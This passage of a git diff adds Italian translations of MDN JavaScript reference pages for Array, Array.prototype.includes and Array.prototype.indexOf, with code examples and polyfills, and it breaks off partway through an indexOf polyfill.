+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES7', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ES7')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.includes', 'Array.prototype.includes')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Edge</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatChrome(47)}}</p>
+   </td>
+   <td>43</td>
+   <td>{{CompatNo}}</td>
+   <td>14279+</td>
+   <td>34</td>
+   <td>9</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>
+    <p>{{CompatChrome(47)}}</p>
+   </td>
+   <td>43</td>
+   <td>{{CompatNo}}</td>
+   <td>34</td>
+   <td>9</td>
+   <td>
+    <p>{{CompatChrome(47)}}</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.includes()")}}</li>
+ <li>{{jsxref("String.prototype.includes()")}}</li>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/index.html b/files/it/web/javascript/reference/global_objects/array/index.html
new file mode 100644
index 0000000000..844d1baf00
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/index.html
@@ -0,0 +1,480 @@
+---
+title: Array
+slug: Web/JavaScript/Reference/Global_Objects/Array
+tags:
+  - Array
+  - JavaScript
+  - NeedsTranslation
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Array
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>L'oggetto <strong><code>Array </code></strong>di JavaScript  è un oggetto globale che è utilizzato nella costruzione di array; che sono oggetti di alto-livello del tipo lista.</p>
+
+<p><strong>Creare un Array</strong></p>
+
+<pre class="brush: js">var fruits = ["Apple", "Banana"];
+
+console.log(fruits.length);
+// 2
+</pre>
+
+<p><strong>Accedere (index into) ad un Array item</strong></p>
+
+<pre class="brush: js">var first = fruits[0];
+// Apple
+
+var last = fruits[fruits.length - 1];
+// Banana
+</pre>
+
+<p><strong>Loop in un  Array</strong></p>
+
+<pre class="brush: js">fruits.forEach(function (item, index, array) {
+  console.log(item, index);
+});
+// Apple 0
+// Banana 1
+</pre>
+
+<p><strong>Aggiungere alla fine di  un Array</strong></p>
+
+<pre class="brush: js">var newLength = fruits.push("Orange");
+// ["Apple", "Banana", "Orange"]
+</pre>
+
+<p><strong>Rimuovere dalla fine di un Array</strong></p>
+
+<pre class="brush: js">var last = fruits.pop(); // remove Orange (from the end)
+// ["Apple", "Banana"];
+</pre>
+
+<p><strong>Rimuovere dall'inizio di un Array</strong></p>
+
+<pre class="brush: js">var first = fruits.shift(); // remove Apple from the front
+// ["Banana"];
+</pre>
+
+<p><strong>Aggiungere al'inizio di un Array</strong></p>
+
+<pre class="brush: js">var newLength = fruits.unshift("Strawberry") // add to the front
+// ["Strawberry", "Banana"];
+</pre>
+
+<p><strong>Trovare l'indice di un elemento nell'Array</strong></p>
+
+<pre class="brush: js">fruits.push("Mango");
+// ["Strawberry", "Banana", "Mango"]
+
+var pos = fruits.indexOf("Banana");
+// 1
+</pre>
+
+<p><strong>Rimuovere un elemento tramite la Posizione dell'Indice</strong></p>
+
+<pre class="brush: js">var removedItem = fruits.splice(pos, 1); // this is how to remove an item
+// ["Strawberry", "Mango"]
+</pre>
+
+<p><strong>Copiare un Array</strong></p>
+
+<pre class="brush: js">var shallowCopy = fruits.slice(); // this is how to make a copy
+// ["Strawberry", "Mango"]
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><code>[<var>element0</var>, <var>element1</var>, ..., <var>elementN</var>]
+new Array(<var>element0</var>, <var>element1</var>[, ...[, <var>elementN</var>]])
+new Array(<var>arrayLength</var>)</code></pre>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>Un array JavaScript è inizializzato con gli elementi dati, eccetto nel caso in cui un argomento singolo è passato al costruttore dell'<code>Array</code> e l'argomento è un numero. (Vedere sotto.) Notare che questo caso speciale si applica solo agli array JavaScript creati con il costruttore <code>Array</code>, non array literals creati con la sintassi a parentesi.</dd>
+ <dt><code>arrayLength</code></dt>
+ <dd>Se l'unico argomento passato al costruttore <code>Array</code> è un integer tra  0 e 2<sup>32</sup>-1 (inclusivo), questo restituisce un nuovo array JavaScript con la lunghezza settata su quel numero. Se l'argomento è un qualsiasi altro numero, un eccezione {{jsxref("Global_Objects/RangeError", "RangeError")}} è lanciata.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Gli Array sono come oggetti di tipo lista il cui prototipo ha metodi per performare operazioni trasversali e di mutazione. Nè la lunghezza di un array JavaScript o i tipi dei suoi elementi sono fissati. Poichè la grandezza della lunghezza di un array cresce o diminuisce in qualsiasi momento, gli array JavaScript non danno garanzia di essere compatti; questo dipende da come il programmatore sceglie di usarli. In generale, queste sono caratteristiche convenienti; ma se tali  caratteristiche non fossero desiderabili per un utilizzo particolare, si potrebbe considerare di utilizzare i typed arrays.</p>
+
+<p>Alcuni pensano che<a class="external" href="http://www.andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/"> non si dovrebbe un utilizzare un array come un associative array</a>. In ogni  caso, si può utilizzare un semplice {{jsxref("Global_Objects/Object", "objects")}} invece, con i suoi avvertimenti. Vedere il post <a class="external" href="http://www.less-broken.com/blog/2010/12/lightweight-javascript-dictionaries.html">Lightweight JavaScript dictionaries with arbitrary keys</a> come esempio.</p>
+
+<h3 id="Accedere_ad_elementi_di_array">Accedere ad elementi di  array </h3>
+
+<p>Gli array JavaScript sono indicizzati a zero: il primo elemento di un array è all'indice <code>0</code>, e l'ultimo elemento è all'indice uguale al valore della proprietà dell'array {{jsxref("Array.length", "length")}}  meno 1. Usare un numero di indice invalido restituisce <code>undefined</code>.</p>
+
+<pre class="brush: js">var arr = ['this is the first element', 'this is the second element'];
+console.log(arr[0]);              // logs 'this is the first element'
+console.log(arr[1]);              // logs 'this is the second element'
+console.log(arr[arr.length - 1]); // logs 'this is the second element'
+</pre>
+
+<p>Gli elementi dell'Array sono proprietà dell'oggetto allo stesso modo che <code>toString</code> è una proprietà, ma provare ad accedere ad un elemento di un array come segue, lancia un errore di sintassi, poichè la proprietà del nome non è valida:</p>
+
+<pre class="brush: js">console.log(arr.0); // a syntax error
+</pre>
+
+<p>Non c'è niente di speciale riguardo gli array JavaScript e la proprietà che causa questo. Le proprietà JavaScript che iniziano con un numero non possono essere referenziate con la notazione punto: e vi si deve accedere usando la notazione parentesi quadre. Per esempio, se si avesse un oggetto con una proprietà chiamata <code>'3d'</code>, la si potrebbe referenziare solamente utilizzando la notazione parentesi quadre. E.g.:</p>
+
+<pre class="brush: js">var years = [1950, 1960, 1970, 1980, 1990, 2000, 2010];
+console.log(years.0);   // a syntax error
+console.log(years[0]);  // works properly
+</pre>
+
+<pre class="brush: js">renderer.3d.setTexture(model, 'character.png');     // a syntax error
+renderer['3d'].setTexture(model, 'character.png');  // works properly
+</pre>
+
+<p>Notare che nell'esempio <code>3d</code>, <code>'3d'</code> doveva essere messo tra virgolette. E' possibile mettere tra virgolette anche gli indici dell'array JavaScript (e.g., <code>years['2']</code> invece di <code>years[2]</code>), anche se non necessario. Il 2 in <code>years[2]</code> è costretto in una stringa dal motore di JavaScript attraverso una implicita conversione <code>toString</code>. E' per questa ragione che  <code>'2'</code> e <code>'02'</code> riferirebbero a due differenti slot nell'oggetto <code>years</code> ed il seguente esempio potrebbe essere <code>true</code>:</p>
+
+<pre class="brush: js">console.log(years['2'] != years['02']);
+</pre>
+
+<p>Ugualmente, alle proprietà di oggetti che sono parole riservate(!) vi si può accedere come string literals in notazione parentesi quadrate (ma anche in notazione punto a partire dalla versione  40.0a2 di firefox):</p>
+
+<pre><code>var promise = {
+  'var'  : 'text',
+  'array': [1, 2, 3, 4]
+};
+
+console.log(promise['var']);</code></pre>
+
+<h3 id="Relzione_tra_length_e_proprietà_numeriche">Relzione tra <code>length</code> e proprietà numeriche</h3>
+
+<p>Una proprietà di un array JavaScript {{jsxref("Array.length", "length")}} e proprietà numeriche sono connesse. Molti dei metodi integrati di array(e.g., {{jsxref("Array.join", "join")}}, {{jsxref("Array.slice", "slice")}}, {{jsxref("Array.indexOf", "indexOf")}}, etc.) tengono in conto del valore della proprietà dell'array {{jsxref("Array.length", "length")}} quando sono chiamati. Altri metodi(e.g., {{jsxref("Array.push", "push")}}, {{jsxref("Array.splice", "splice")}}, etc.) risultano nell'aggiornamento della proprietà{{jsxref("Array.length", "length")}} dell'array.</p>
+
+<pre class="brush: js">var fruits = [];
+fruits.push('banana', 'apple', 'peach');
+
+console.log(fruits.length); // 3
+</pre>
+
+<p>Quando si setta una proprietà su un array JavaScript, quando la proprietà è un valido indice di array e quell'iindice è al di fuori dei limiti dell'array, il motore aggiornerà la proprietà {{jsxref("Array.length", "length")}} in accordo:</p>
+
+<pre class="brush: js">fruits[5] = 'mango';
+console.log(fruits[5]); // 'mango'
+console.log(Object.keys(fruits));  // ['0', '1', '2', '5']
+console.log(fruits.length); // 6
+</pre>
+
+<p>Aumentando{{jsxref("Array.length", "length")}}.</p>
+
+<pre class="brush: js">fruits.length = 10;
+console.log(Object.keys(fruits)); // ['0', '1', '2', '5']
+console.log(fruits.length); // 10
+</pre>
+
+<p>Diminuendo la proprietà {{jsxref("Array.length", "length")}}, comunque cancella gli elementi.</p>
+
+<pre class="brush: js">fruits.length = 2;
+console.log(Object.keys(fruits)); // ['0', '1']
+console.log(fruits.length); // 2
+</pre>
+
+<p>La spiegazione è ampliata nella pagina{{jsxref("Array.length")}}.</p>
+
+<h3 id="Creare_un_array_utilizzando_il_risultato_di_un_match">Creare un array utilizzando il risultato di un match</h3>
+
+<p>Il risultato di una corrispondenza tra una espressione regolare e una stringa può creare un array JavaScript. Tale array ha proprietà ed elementi che provvedono informazioni riguardo il match. Questo tipo di array è restituito da {{jsxref("RegExp.exec")}}, {{jsxref("String.match")}}, e {{jsxref("String.replace")}}. Per aiutare a spiegare queste proprietà ed elementi, vedere l'esempio seguente e fare riferimento alla tavola sottostante:</p>
+
+<pre class="brush: js">// Match one d followed by one or more b's followed by one d
+// Remember matched b's and the following d
+// Ignore case
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+</pre>
+
+<p>Le proprietà ed elementi restituiti da questo match sono le seguenti:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td class="header">Property/Element</td>
+   <td class="header">Description</td>
+   <td class="header">Example</td>
+  </tr>
+  <tr>
+   <td><code>input</code></td>
+   <td>Una proprietà read-only che riflette la stinga originale verso la quale l'espressione irregolare era stata abbinata.</td>
+   <td>cdbBdbsbz</td>
+  </tr>
+  <tr>
+   <td><code>index</code></td>
+   <td>Una proprietà read-only su indice base-zeroindex dell'abbinamento nella stringa.</td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>[0]</code></td>
+   <td>Un elemento read-only che specifica gli ultimi caratteri abbinati.</td>
+   <td>dbBd</td>
+  </tr>
+  <tr>
+   <td><code>[1], ...[n]</code></td>
+   <td>Elementi read-only  che specificano gli abbinamenti di sottostringa in parentesi, se inclusi nella espressione regolare. Il numero di possibili sottostringhe in parentesi è illimitato.</td>
+   <td>[1]: bB<br>
+    [2]: d</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code>Array.length</code></dt>
+ <dd>Il costruttore della proprietà lunghezza  <code>Array</code> il cui valore è 1.</dd>
+ <dt>{{jsxref("Array.@@species", "get Array[@@species]")}}</dt>
+ <dd>La funzione del costruttore che è usata per creare oggetti derivati.</dd>
+ <dt>{{jsxref("Array.prototype")}}</dt>
+ <dd>Permette l'addizione  di proprietà a tutti gli oggetti array.</dd>
+</dl>
+
+<h2 id="Metodi">Metodi</h2>
+
+<dl>
+ <dt>{{jsxref("Array.from()")}} {{experimental_inline}}</dt>
+ <dd>Crea una nuova istanza <code>Array</code> da un oggetto del tipo array o iterabile.</dd>
+ <dt>{{jsxref("Array.isArray()")}}</dt>
+ <dd>Restituisce true se una variabile è un array, altrimenti false.</dd>
+ <dt>{{jsxref("Array.observe()")}} {{experimental_inline}}</dt>
+ <dd>In modo asincrono osserva i cambiamenti agli Arrays, come{{jsxref("Object.observe()")}} per gli oggetti. Provvede un flusso di cambiamenti in ordine di occorrenza.</dd>
+ <dt>{{jsxref("Array.of()")}} {{experimental_inline}}</dt>
+ <dd>Crea una nuova istanza <code>Array</code> con un variabile numero di argomenti, nonostante il numero o i tipi di argomenti.</dd>
+</dl>
+
+<h2 id="Istanze_di_Array">Istanze di<code> Array</code> </h2>
+
+<p>Tutte le istanze di <code>Array</code> ereditano da {{jsxref("Array.prototype")}}. L'oggetto prototype del costruttore <code>Array</code> può essere modificato per influenzare tutte le istanze di  <code>Array</code>.</p>
+
+<h3 id="Proprietà_2">Proprietà</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Properties')}}</div>
+
+<h3 id="Metodi_2">Metodi</h3>
+
+<h4 id="Metodi_mutatori">Metodi mutatori</h4>
+
+<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Mutator_methods')}}</div>
+
+<h4 id="Metodi_per_accedere">Metodi per accedere</h4>
+
+<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Accessor_methods')}}</div>
+
+<h4 id="Metodi_di_iterazione">Metodi di iterazione</h4>
+
+<div>{{page('en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype', 'Iteration_methods')}} </div>
+
+<h2 id="Metodi_generici_Array"><code><font face="x-locale-heading-primary, zillaslab, Palatino, Palatino Linotype, x-locale-heading-secondary, serif"><span style="background-color: #ffffff;">Metodi generici </span></font>Array</code> </h2>
+
+<div class="warning">
+<p><strong>Array generics are non-standard, deprecated and will get removed near future</strong>. Note that you can not rely on them cross-browser. However, there is a <a href="https://github.com/plusdude/array-generics">shim available on GitHub</a>.</p>
+</div>
+
+<p>A volte si vorrebbe applicare metodi di array alle stringhe o altri oggetti del tipo array (come {{jsxref("Functions/arguments", "arguments", "", 1)}}). Facendo ciò, si tratta una stringa come un array di caratteri(o altrimenti trattare un non array come array). Per esempio, per controllare che ogni carattere nella variabile <var>str</var> sia una lettera, si scriverebbe:</p>
+
+<pre class="brush: js">function isLetter(character) {
+  return character &gt;= 'a' &amp;&amp; character &lt;= 'z';
+}
+
+if (Array.prototype.every.call(str, isLetter)) {
+  console.log("The string '" + str + "' contains only letters!");
+}
+</pre>
+
+<p>Tale notazione è dispersiva e JavaScript 1.6 ha introdotto un generico shorthand:</p>
+
+<pre class="brush: js">if (Array.every(str, isLetter)) {
+  console.log("The string '" + str + "' contains only letters!");
+}
+</pre>
+
+<p>{{jsxref("Global_Objects/String", "Generics", "#String_generic_methods", 1)}} are also available on {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<p>Queste no fanno parte dello standard ECMAScript (anche se ES2015 {{jsxref("Array.from()")}} può essere utilizzato per raggingere tale scopo). Ciò che segue è un aiuto per permetterene l'utilizzo in tutti i browser:</p>
+
+<pre class="brush: js">// Assumes Array extras already present (one may use polyfills for these as well)
+(function() {
+  'use strict';
+
+  var i,
+    // We could also build the array of methods with the following, but the
+    //   getOwnPropertyNames() method is non-shimable:
+    // Object.getOwnPropertyNames(Array).filter(function(methodName) {
+    //   return typeof Array[methodName] === 'function'
+    // });
+    methods = [
+      'join', 'reverse', 'sort', 'push', 'pop', 'shift', 'unshift',
+      'splice', 'concat', 'slice', 'indexOf', 'lastIndexOf',
+      'forEach', 'map', 'reduce', 'reduceRight', 'filter',
+      'some', 'every', 'find', 'findIndex', 'entries', 'keys',
+      'values', 'copyWithin', 'includes'
+    ],
+    methodCount = methods.length,
+    assignArrayGeneric = function(methodName) {
+      if (!Array[methodName]) {
+        var method = Array.prototype[methodName];
+        if (typeof method === 'function') {
+          Array[methodName] = function() {
+            return method.call.apply(method, arguments);
+          };
+        }
+      }
+    };
+
+  for (i = 0; i &lt; methodCount; i++) {
+    assignArrayGeneric(methods[i]);
+  }
+}());
+</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Creare_un_array">Creare un array</h3>
+
+<p>Il seguente esempio crea un array, <code>msgArray</code>, con una lunghezza di 0, poi assegna valori a  <code>msgArray[0]</code> e <code>msgArray[99]</code>, cambiando la lunghezza dell'array a 100.</p>
+
+<pre class="brush: js">var msgArray = [];
+msgArray[0] = 'Hello';
+msgArray[99] = 'world';
+
+if (msgArray.length === 100) {
+  console.log('The length is 100.');
+}
+</pre>
+
+<h3 id="Creare_un_array_bidimensionale">Creare un array bidimensionale</h3>
+
+<p>Ciò che segue crea una scacchiera come un array bidiensionale di stringhe. La prima mossa è fatta copiando la 'p' in (6,4) in (4,4). La vecchia posizione (6,4) è resa bianca.</p>
+
+<pre class="brush: js">var board = [
+  ['R','N','B','Q','K','B','N','R'],
+  ['P','P','P','P','P','P','P','P'],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  [' ',' ',' ',' ',' ',' ',' ',' '],
+  ['p','p','p','p','p','p','p','p'],
+  ['r','n','b','q','k','b','n','r'] ];
+
+console.log(board.join('\n') + '\n\n');
+
+// Move King's Pawn forward 2
+board[4][4] = board[6][4];
+board[6][4] = ' ';
+console.log(board.join('\n'));
+</pre>
+
+<p>Ecco l'output:</p>
+
+<pre class="eval">R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+ , , , , , , ,
+p,p,p,p,p,p,p,p
+r,n,b,q,k,b,n,r
+
+R,N,B,Q,K,B,N,R
+P,P,P,P,P,P,P,P
+ , , , , , , ,
+ , , , , , , ,
+ , , , ,p, , ,
+ , , , , , , ,
+p,p,p,p, ,p,p,p
+r,n,b,q,k,b,n,r
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4', 'Array')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Nuovi metodi aggiunti: {{jsxref("Array.isArray")}}, {{jsxref("Array.prototype.indexOf", "indexOf")}}, {{jsxref("Array.prototype.lastIndexOf", "lastIndexOf")}}, {{jsxref("Array.prototype.every", "every")}}, {{jsxref("Array.prototype.some", "some")}}, {{jsxref("Array.prototype.forEach", "forEach")}}, {{jsxref("Array.prototype.map", "map")}}, {{jsxref("Array.prototype.filter", "filter")}}, {{jsxref("Array.prototype.reduce", "reduce")}}, {{jsxref("Array.prototype.reduceRight", "reduceRight")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array-objects', 'Array')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Nuovi metodi aggiunti: {{jsxref("Array.from")}}, {{jsxref("Array.of")}}, {{jsxref("Array.prototype.find", "find")}}, {{jsxref("Array.prototype.findIndex", "findIndex")}}, {{jsxref("Array.prototype.fill", "fill")}}, {{jsxref("Array.prototype.copyWithin", "copyWithin")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser </h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedere_anche">Vedere anche:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Indexing_object_properties">JavaScript Guide: “Indexing object properties”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Predefined_Core_Objects#Array_Object">JavaScript Guide: “Predefined Core Objects: <code>Array</code> Object”</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions">Array comprehensions</a></li>
+ <li><a href="https://github.com/plusdude/array-generics">Polyfill for JavaScript 1.8.5 Array Generics and ECMAScript 5 Array Extras</a></li>
+ <li><a href="/en-US/docs/JavaScript_typed_arrays">Typed Arrays</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/indexof/index.html b/files/it/web/javascript/reference/global_objects/array/indexof/index.html
new file mode 100644
index 0000000000..658957c67d
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/indexof/index.html
@@ -0,0 +1,226 @@
+---
+title: Array.prototype.indexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+tags:
+  - Array
+  - JavaScript
+  - Prototype
+  - Referenza
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/indexOf
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>indexOf()</strong></code> restituisce il primo indice in cui è possibile trovare un determinato elemento nell'array o -1 se non è presente.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Per il metodo String, consultare {{jsxref("String.prototype.indexOf()")}}.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/js/array-indexof.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.indexOf(<var>searchElement[</var>, <var>fromIndex]</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Elemento da localizzare nell'array.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>L'indice per iniziare la ricerca. Se l'indice è maggiore o uguale alla lunghezza dell'array, viene restituito -1, il che significa che l'array non verrà cercato. Se il valore dell'indice fornito è un numero negativo, viene preso come offset dalla fine dell'array. Nota: se l'indice fornito è negativo, l'array viene comunque ricercato da fronte a retro. Se l'indice fornito è 0, verrà cercato l'intero array. Predefinito: 0 (viene cercato l'intero array).</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Il primo indice dell'elemento nell'array; <strong>-1</strong> se non trovato.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>indexOf()</code> compara <code>searchElement</code> con gli elementi dell'array usando <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_equality_operators">strict equality</a> (lo stesso metodo utilizzato dall'operatore <code>===</code> o triple-equals).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Usare_indexOf()">Usare <code>indexOf()</code></h3>
+
+<p>Nell'esempio seguente viene utilizzato <code>indexOf()</code> per individuare i valori in un array.</p>
+
+<pre class="brush: js">var array = [2, 9, 9];
+array.indexOf(2);     // 0
+array.indexOf(7);     // -1
+array.indexOf(9, 2);  // 2
+array.indexOf(2, -1); // -1
+array.indexOf(2, -3); // 0
+</pre>
+
+<h3 id="Trovare_tutte_le_occorrenze_di_un_elemento">Trovare tutte le occorrenze di un elemento</h3>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.indexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = array.indexOf(element, idx + 1);
+}
+console.log(indices);
+// [0, 2, 4]
+</pre>
+
+<h3 id="Trovare_se_un_elemento_esiste_nell'array_o_meno_ed_aggiornare_l'array">Trovare se un elemento esiste nell'array o meno ed aggiornare l'array</h3>
+
+<pre class="brush: js">function updateVegetablesCollection (veggies, veggie) {
+    if (veggies.indexOf(veggie) === -1) {
+        veggies.push(veggie);
+        console.log('New veggies collection is : ' + veggies);
+    } else if (veggies.indexOf(veggie) &gt; -1) {
+        console.log(veggie + ' already exists in the veggies collection.');
+    }
+}
+
+var veggies = ['potato', 'tomato', 'chillies', 'green-pepper'];
+
+updateVegetablesCollection(veggies, 'spinach');
+// New veggies collection is : potato,tomato,chillies,green-pepper,spinach
+updateVegetablesCollection(veggies, 'spinach');
+// spinach already exists in the veggies collection.
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>indexOf()</code> è stato aggiunto allo standard ECMA-262 nella quinta edizione; in quanto tale potrebbe non essere presente in tutti i browser. Puoi aggirare questo problema utilizzando il seguente codice all'inizio degli script. Questo ti permetterà di usare <code>indexOf()</code> quando non c'è ancora alcun supporto nativo. Questo algoritmo corrisponde a quello specificato in ECMA-262, 5a edizione, assumendo che {{jsxref("Global_Objects/TypeError", "TypeError")}} e {{jsxref("Math.abs()")}} abbiano i loro valori originali.</p>
+
+<pre class="brush: js">if (!Array.prototype.indexOf)  Array.prototype.indexOf = (function(Object, max, min){
+  "use strict";
+  return function indexOf(member, fromIndex) {
+    if(this===null||this===undefined)throw TypeError("Array.prototype.indexOf called on null or undefined");
+
+    var that = Object(this), Len = that.length &gt;&gt;&gt; 0, i = min(fromIndex | 0, Len);
+    if (i &lt; 0) i = max(0, Len+i); else if (i &gt;= Len) return -1;
+
+    if(member===void 0){ for(; i !== Len; ++i) if(that[i]===void 0 &amp;&amp; i in that) return i; // undefined
+    }else if(member !== member){   for(; i !== Len; ++i) if(that[i] !== that[i]) return i; // NaN
+    }else                           for(; i !== Len; ++i) if(that[i] === member) return i; // all else
+
+    return -1; // if the value was not found, then return -1
+  };
+})(Object, Math.max, Math.min);
+</pre>
+
+<p>Tuttavia, se sei più interessato a tutti i piccoli bit tecnici definiti dallo standard ECMA e meno preoccupati per le prestazioni o la concisione, potresti trovare questo polifratura più descrittivo per essere più utile.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.14
+// Reference: http://es5.github.io/#x15.4.4.14
+if (!Array.prototype.indexOf) {
+  Array.prototype.indexOf = function(searchElement, fromIndex) {
+
+    var k;
+
+    // 1. Let o be the result of calling ToObject passing
+    //    the this value as the argument.
+    if (this == null) {
+      throw new TypeError('"this" is null or not defined');
+    }
+
+    var o = Object(this);
+
+    // 2. Let lenValue be the result of calling the Get
+    //    internal method of o with the argument "length".
+    // 3. Let len be ToUint32(lenValue).
+    var len = o.length &gt;&gt;&gt; 0;
+
+    // 4. If len is 0, return -1.
+    if (len === 0) {
+      return -1;
+    }
+
+    // 5. If argument fromIndex was passed let n be
+    //    ToInteger(fromIndex); else let n be 0.
+    var n = fromIndex | 0;
+
+    // 6. If n &gt;= len, return -1.
+    if (n &gt;= len) {
+      return -1;
+    }
+
+    // 7. If n &gt;= 0, then Let k be n.
+    // 8. Else, n&lt;0, Let k be len - abs(n).
+    //    If k is less than 0, then let k be 0.
+    k = Math.max(n &gt;= 0 ? n : len - Math.abs(n), 0);
+
+    // 9. Repeat, while k &lt; len
+    while (k &lt; len) {
+      // a. Let Pk be ToString(k).
+      //   This is implicit for LHS operands of the in operator
+      // b. Let kPresent be the result of calling the
+      //    HasProperty internal method of o with argument Pk.
+      //   This step can be combined with c
+      // c. If kPresent is true, then
+      //    i.  Let elementK be the result of calling the Get
